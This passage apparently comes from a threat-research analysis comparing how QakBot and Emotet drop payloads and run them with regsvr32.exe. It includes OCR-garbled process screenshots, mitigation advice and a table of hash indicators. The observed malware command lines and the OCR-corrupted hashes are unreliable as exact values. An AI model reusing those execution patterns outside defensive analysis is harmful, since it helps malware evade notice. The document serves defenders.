payloads, only QakBot drops its payload in a folder with a random five-character name that is located in the C:\ drive (Figure 25).

Emotet, on the other hand, drops its payload in the parent directory of its downloader (Figure 26).

Figure 23. QakBot’s use of regsvr32.exe to execute its payload

Figure 24. Emotet’s use of regsvr32.exe to execute its payload

Image File
IEI Microsoft{C) Register Server
(Mot verified) Microsoft Corporation
Version: 5.01.7600.16385
Time: 7/14/2009 9:14 AM
Path:
| Ci\Windows\System32\regsvr32.exe
Command line:
I "C:\Windows\System32yregsvr32.exe’ C:\Sdusrixgxa.oox
Current directory:
| Ci\Wsers\Win7x32\Documents),

Figure 25. QakBot dropping its malicious payload in a folder in C:\

& Fiddler exe 64
4

B ¥|EXCELEXE 3372
(=7 regsvr32 exe 2940
[mregsvr3Z exe 2996
[ regsvr3Z exe 2748

1
() - explorer.exe 2080
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Image File
@ Microsoft{C) Reqister Server
Microsoft Corporation
Version: 65.1.7500.16385
Build Time: Tue Jul 14 07:58:32 2009
Path:
C:\Windows\SysWOW64yregswr32.exe
Command line:
regsvr3Z2.exe "C:\_virusixde.ood”
Current directory:
C:iWindows \SysWOWe4,
Autostart Location:

nfa Explore

Figure 26. Emotet dropping its malicious payload in a folder
Security recommendations

For enterprises to avoid falling victim to spam emails used in Emotet and QakBot campaigns, user awareness training for
employees should be expanded to address email reply chain attacks. Security practices that can mitigate the risk of infection
include:

¢ Ensuring that macros are disabled in Microsoft Office applications

¢ Hovering over embedded links to check the URLs before opening them

¢ Being wary of unfamiliar email addresses, mismatched email addresses and sender names, and spoofed company emails, all
of which are telltale signs that the sender has malicious intent

¢ Refraining from downloading any email attachments without verifying the sender’s identity

¢ Enabling advanced detection capabilities, such as predictive machine learning

Users and businesses can defend themselves against threats like Emotet using endpoint solutions such as Trend Micro’s Smart
Protection Suites and Worry-Free Business Security solutions, which have behavior-monitoring capabilities that can detect
malicious files, scripts, and messages, and block all related malicious URLSs. The Trend Micro™ Deep Discovery™ solution also has
a layer for email inspection that can protect enterprises by detecting malicious attachments and URLs.

Additional insights by Jett Paulo Bernardo, Arianne Dela Cruz, Dexter Esteves, Gerald Fernandez, Mark Marti,
Ryan Pagaduan, and Louella Darlene Sevilla

Indicators of compromise (IOCs)

SHA-256 Description | Detection name

48426fd5c5be7a8efdbbf2d9f0070626aa9bfe9734aab9278ddd293e889a19cc | Emotet Trojan. XF.EMOTET.YJCCXB
sample

using Excel
4.0 macros

e9bf38414636¢c6¢cef4cc35fad5523de205eca815b979ed36e96a7e6166a58370 | Emotet TrojanSpy.Win32.EMOTET.YJCCY
payload

5c4f33e22f9def7f7fea863e08c38f6a8b4ea9fcc78911c23bb54c4fdf4590e1 Hexadecimal | Trojan. XF.EMOTET.SMYXBLAA
IP address
sample

€961e46fe0000505f4534e036a9d1d2a59823cf644438a2733ab659e9c22988b | Octal IP Trojan. XF.EMOTET.SMYXBLAA
address
sample

Recommended for you

ransomware
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